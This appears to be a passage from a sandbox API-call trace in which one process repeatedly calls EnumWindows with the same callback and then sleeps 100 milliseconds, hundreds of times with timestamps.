EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.334] Sleep (dwMilliseconds=0x64) [0271.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.337] Sleep (dwMilliseconds=0x64) [0271.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.339] Sleep (dwMilliseconds=0x64) [0271.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.341] Sleep (dwMilliseconds=0x64) [0271.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.475] Sleep (dwMilliseconds=0x64) [0271.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.480] Sleep (dwMilliseconds=0x64) [0271.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.518] Sleep (dwMilliseconds=0x64) [0271.542] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.542] Sleep (dwMilliseconds=0x64) [0271.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.642] Sleep (dwMilliseconds=0x64) [0271.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.645] Sleep (dwMilliseconds=0x64) [0271.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.646] Sleep (dwMilliseconds=0x64) [0271.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.648] Sleep (dwMilliseconds=0x64) [0271.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.650] Sleep (dwMilliseconds=0x64) [0271.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.652] Sleep (dwMilliseconds=0x64) [0271.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.654] Sleep (dwMilliseconds=0x64) [0271.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.658] Sleep (dwMilliseconds=0x64) [0271.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.660] Sleep (dwMilliseconds=0x64) [0271.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.662] Sleep (dwMilliseconds=0x64) [0271.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.664] Sleep (dwMilliseconds=0x64) [0271.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.667] Sleep (dwMilliseconds=0x64) [0271.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.669] Sleep (dwMilliseconds=0x64) [0271.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.681] Sleep (dwMilliseconds=0x64) [0271.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.780] Sleep (dwMilliseconds=0x64) [0271.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.784] Sleep (dwMilliseconds=0x64) [0271.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.793] Sleep (dwMilliseconds=0x64) [0271.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.803] Sleep (dwMilliseconds=0x64) [0271.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.816] Sleep (dwMilliseconds=0x64) [0271.942] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.943] Sleep (dwMilliseconds=0x64) [0271.953] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.954] Sleep (dwMilliseconds=0x64) [0271.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.965] Sleep (dwMilliseconds=0x64) [0271.968] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.968] Sleep (dwMilliseconds=0x64) [0271.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.970] Sleep (dwMilliseconds=0x64) [0271.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.972] Sleep (dwMilliseconds=0x64) [0271.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.974] Sleep (dwMilliseconds=0x64) [0271.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0271.981] Sleep (dwMilliseconds=0x64) [0272.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.071] Sleep (dwMilliseconds=0x64) [0272.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.099] Sleep (dwMilliseconds=0x64) [0272.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.109] Sleep (dwMilliseconds=0x64) [0272.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.119] Sleep (dwMilliseconds=0x64) [0272.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.127] Sleep (dwMilliseconds=0x64) [0272.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.134] Sleep (dwMilliseconds=0x64) [0272.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.193] Sleep (dwMilliseconds=0x64) [0272.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.201] Sleep (dwMilliseconds=0x64) [0272.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.253] Sleep (dwMilliseconds=0x64) [0272.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.261] Sleep (dwMilliseconds=0x64) [0272.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.284] Sleep (dwMilliseconds=0x64) [0272.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.330] Sleep (dwMilliseconds=0x64) [0272.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.412] Sleep (dwMilliseconds=0x64) [0272.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.415] Sleep (dwMilliseconds=0x64) [0272.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.418] Sleep (dwMilliseconds=0x64) [0272.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.420] Sleep (dwMilliseconds=0x64) [0272.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.423] Sleep (dwMilliseconds=0x64) [0272.424] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.425] Sleep (dwMilliseconds=0x64) [0272.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.431] Sleep (dwMilliseconds=0x64) [0272.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.434] Sleep (dwMilliseconds=0x64) [0272.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.436] Sleep (dwMilliseconds=0x64) [0272.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.438] Sleep (dwMilliseconds=0x64) [0272.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.440] Sleep (dwMilliseconds=0x64) [0272.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.473] Sleep (dwMilliseconds=0x64) [0272.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.549] Sleep (dwMilliseconds=0x64) [0272.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.561] Sleep (dwMilliseconds=0x64) [0272.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.570] Sleep (dwMilliseconds=0x64) [0272.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.581] Sleep (dwMilliseconds=0x64) [0272.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.599] Sleep (dwMilliseconds=0x64) [0272.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.607] Sleep (dwMilliseconds=0x64) [0272.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.728] Sleep (dwMilliseconds=0x64) [0272.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.736] Sleep (dwMilliseconds=0x64) [0272.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.743] Sleep (dwMilliseconds=0x64) [0272.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.745] Sleep (dwMilliseconds=0x64) [0272.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.747] Sleep (dwMilliseconds=0x64) [0272.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.749] Sleep (dwMilliseconds=0x64) [0272.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.751] Sleep (dwMilliseconds=0x64) [0272.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.759] Sleep (dwMilliseconds=0x64) [0272.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.768] Sleep (dwMilliseconds=0x64) [0272.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.770] Sleep (dwMilliseconds=0x64) [0272.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.776] Sleep (dwMilliseconds=0x64) [0272.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.778] Sleep (dwMilliseconds=0x64) [0272.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.780] Sleep (dwMilliseconds=0x64) [0272.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.782] Sleep (dwMilliseconds=0x64) [0272.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.785] Sleep (dwMilliseconds=0x64) [0272.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.786] Sleep (dwMilliseconds=0x64) [0272.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.788] Sleep (dwMilliseconds=0x64) [0272.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.790] Sleep (dwMilliseconds=0x64) [0272.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.792] Sleep (dwMilliseconds=0x64) [0272.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.794] Sleep (dwMilliseconds=0x64) [0272.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.796] Sleep (dwMilliseconds=0x64) [0272.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.798] Sleep (dwMilliseconds=0x64) [0272.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.802] Sleep (dwMilliseconds=0x64) [0272.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.805] Sleep (dwMilliseconds=0x64) [0272.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.807] Sleep (dwMilliseconds=0x64) [0272.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.812] Sleep (dwMilliseconds=0x64) [0272.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.814] Sleep (dwMilliseconds=0x64) [0272.815] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.816] Sleep (dwMilliseconds=0x64) [0272.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.818] Sleep (dwMilliseconds=0x64) [0272.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.820] Sleep (dwMilliseconds=0x64) [0272.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.822] Sleep (dwMilliseconds=0x64) [0272.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.824] Sleep (dwMilliseconds=0x64) [0272.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.826] Sleep (dwMilliseconds=0x64) [0272.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.828] Sleep (dwMilliseconds=0x64) [0272.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.830] Sleep (dwMilliseconds=0x64) [0272.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.834] Sleep (dwMilliseconds=0x64) [0272.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.837] Sleep (dwMilliseconds=0x64) [0272.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.839] Sleep (dwMilliseconds=0x64) [0272.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.840] Sleep (dwMilliseconds=0x64) [0272.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.842] Sleep (dwMilliseconds=0x64) [0272.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.845] Sleep (dwMilliseconds=0x64) [0272.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.846] Sleep (dwMilliseconds=0x64) [0272.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.848] Sleep (dwMilliseconds=0x64) [0272.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.850] Sleep (dwMilliseconds=0x64) [0272.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.853] Sleep (dwMilliseconds=0x64) [0272.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.854] Sleep (dwMilliseconds=0x64) [0272.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.857] Sleep (dwMilliseconds=0x64) [0272.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.859] Sleep (dwMilliseconds=0x64) [0272.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.861] Sleep (dwMilliseconds=0x64) [0272.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.864] Sleep (dwMilliseconds=0x64) [0272.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.869] Sleep (dwMilliseconds=0x64) [0272.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.871] Sleep (dwMilliseconds=0x64) [0272.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.874] Sleep (dwMilliseconds=0x64) [0272.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.876] Sleep (dwMilliseconds=0x64) [0272.878] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.878] Sleep (dwMilliseconds=0x64) [0272.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.880] Sleep (dwMilliseconds=0x64) [0272.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.882] Sleep (dwMilliseconds=0x64) [0272.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.884] Sleep (dwMilliseconds=0x64) [0272.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.886] Sleep (dwMilliseconds=0x64) [0272.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.888] Sleep (dwMilliseconds=0x64) [0272.889] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.890] Sleep (dwMilliseconds=0x64) [0272.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.892] Sleep (dwMilliseconds=0x64) [0272.897] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.897] Sleep (dwMilliseconds=0x64) [0272.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.899] Sleep (dwMilliseconds=0x64) [0272.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.903] Sleep (dwMilliseconds=0x64) [0272.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.956] Sleep (dwMilliseconds=0x64) [0272.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.958] Sleep (dwMilliseconds=0x64) [0272.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.960] Sleep (dwMilliseconds=0x64) [0272.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0272.962] Sleep (dwMilliseconds=0x64) [0272.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.002] Sleep (dwMilliseconds=0x64) [0273.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.064] Sleep (dwMilliseconds=0x64) [0273.071] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.072] Sleep (dwMilliseconds=0x64) [0273.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.116] Sleep (dwMilliseconds=0x64) [0273.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.125] Sleep (dwMilliseconds=0x64) [0273.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.135] Sleep (dwMilliseconds=0x64) [0273.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.138] Sleep (dwMilliseconds=0x64) [0273.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.145] Sleep (dwMilliseconds=0x64) [0273.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.185] Sleep (dwMilliseconds=0x64) [0273.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.257] Sleep (dwMilliseconds=0x64) [0273.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.259] Sleep (dwMilliseconds=0x64) [0273.265] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.265] Sleep (dwMilliseconds=0x64) [0273.273] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.273] Sleep (dwMilliseconds=0x64) [0273.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.281] Sleep (dwMilliseconds=0x64) [0273.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.289] Sleep (dwMilliseconds=0x64) [0273.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.299] Sleep (dwMilliseconds=0x64) [0273.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.399] Sleep (dwMilliseconds=0x64) [0273.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.417] Sleep (dwMilliseconds=0x64) [0273.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.420] Sleep (dwMilliseconds=0x64) [0273.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.422] Sleep (dwMilliseconds=0x64) [0273.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.424] Sleep (dwMilliseconds=0x64) [0273.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.428] Sleep (dwMilliseconds=0x64) [0273.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.436] Sleep (dwMilliseconds=0x64) [0273.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.443] Sleep (dwMilliseconds=0x64) [0273.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.451] Sleep (dwMilliseconds=0x64) [0273.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.532] Sleep (dwMilliseconds=0x64) [0273.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.562] Sleep (dwMilliseconds=0x64) [0273.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.575] Sleep (dwMilliseconds=0x64) [0273.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.588] Sleep (dwMilliseconds=0x64) [0273.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.591] Sleep (dwMilliseconds=0x64) [0273.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.594] Sleep (dwMilliseconds=0x64) [0273.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.596] Sleep (dwMilliseconds=0x64) [0273.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.598] Sleep (dwMilliseconds=0x64) [0273.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.600] Sleep (dwMilliseconds=0x64) [0273.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.602] Sleep (dwMilliseconds=0x64) [0273.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.605] Sleep (dwMilliseconds=0x64) [0273.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.606] Sleep (dwMilliseconds=0x64) [0273.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.660] Sleep (dwMilliseconds=0x64) [0273.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.669] Sleep (dwMilliseconds=0x64) [0273.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.744] Sleep (dwMilliseconds=0x64) [0273.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.746] Sleep (dwMilliseconds=0x64) [0273.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.749] Sleep (dwMilliseconds=0x64) [0273.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.751] Sleep (dwMilliseconds=0x64) [0273.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.753] Sleep (dwMilliseconds=0x64) [0273.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.755] Sleep (dwMilliseconds=0x64) [0273.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.757] Sleep (dwMilliseconds=0x64) [0273.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.805] Sleep (dwMilliseconds=0x64) [0273.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.937] Sleep (dwMilliseconds=0x64) [0273.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.941] Sleep (dwMilliseconds=0x64) [0273.948] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.949] Sleep (dwMilliseconds=0x64) [0273.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.956] Sleep (dwMilliseconds=0x64) [0273.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.965] Sleep (dwMilliseconds=0x64) [0273.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0273.973] Sleep (dwMilliseconds=0x64) [0274.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.002] Sleep (dwMilliseconds=0x64) [0274.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.086] Sleep (dwMilliseconds=0x64) [0274.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.089] Sleep (dwMilliseconds=0x64) [0274.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.094] Sleep (dwMilliseconds=0x64) [0274.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.096] Sleep (dwMilliseconds=0x64) [0274.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.098] Sleep (dwMilliseconds=0x64) [0274.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.100] Sleep (dwMilliseconds=0x64) [0274.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.102] Sleep (dwMilliseconds=0x64) [0274.104] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.104] Sleep (dwMilliseconds=0x64) [0274.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.106] Sleep (dwMilliseconds=0x64) [0274.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.108] Sleep (dwMilliseconds=0x64) [0274.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.110] Sleep (dwMilliseconds=0x64) [0274.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.112] Sleep (dwMilliseconds=0x64) [0274.113] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.113] Sleep (dwMilliseconds=0x64) [0274.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.115] Sleep (dwMilliseconds=0x64) [0274.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.121] Sleep (dwMilliseconds=0x64) [0274.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.204] Sleep (dwMilliseconds=0x64) [0274.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.230] Sleep (dwMilliseconds=0x64) [0274.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.232] Sleep (dwMilliseconds=0x64) [0274.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.234] Sleep (dwMilliseconds=0x64) [0274.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.236] Sleep (dwMilliseconds=0x64) [0274.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.238] Sleep (dwMilliseconds=0x64) [0274.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.247] Sleep (dwMilliseconds=0x64) [0274.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.251] Sleep (dwMilliseconds=0x64) [0274.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.252] Sleep (dwMilliseconds=0x64) [0274.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.254] Sleep (dwMilliseconds=0x64) [0274.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.257] Sleep (dwMilliseconds=0x64) [0274.258] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.258] Sleep (dwMilliseconds=0x64) [0274.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.325] Sleep (dwMilliseconds=0x64) [0274.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.373] Sleep (dwMilliseconds=0x64) [0274.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.375] Sleep (dwMilliseconds=0x64) [0274.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.377] Sleep (dwMilliseconds=0x64) [0274.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.378] Sleep (dwMilliseconds=0x64) [0274.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.380] Sleep (dwMilliseconds=0x64) [0274.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.405] Sleep (dwMilliseconds=0x64) [0274.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.448] Sleep (dwMilliseconds=0x64) [0274.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.512] Sleep (dwMilliseconds=0x64) [0274.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.514] Sleep (dwMilliseconds=0x64) [0274.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.516] Sleep (dwMilliseconds=0x64) [0274.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.519] Sleep (dwMilliseconds=0x64) [0274.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.521] Sleep (dwMilliseconds=0x64) [0274.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.524] Sleep (dwMilliseconds=0x64) [0274.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.533] Sleep (dwMilliseconds=0x64) [0274.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.541] Sleep (dwMilliseconds=0x64) [0274.560] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.560] Sleep (dwMilliseconds=0x64) [0274.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.658] Sleep (dwMilliseconds=0x64) [0274.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.671] Sleep (dwMilliseconds=0x64) [0274.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.683] Sleep (dwMilliseconds=0x64) [0274.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.685] Sleep (dwMilliseconds=0x64) [0274.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.687] Sleep (dwMilliseconds=0x64) [0274.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0274.702] Sleep (dwMilliseconds=0x64) [0274.804] 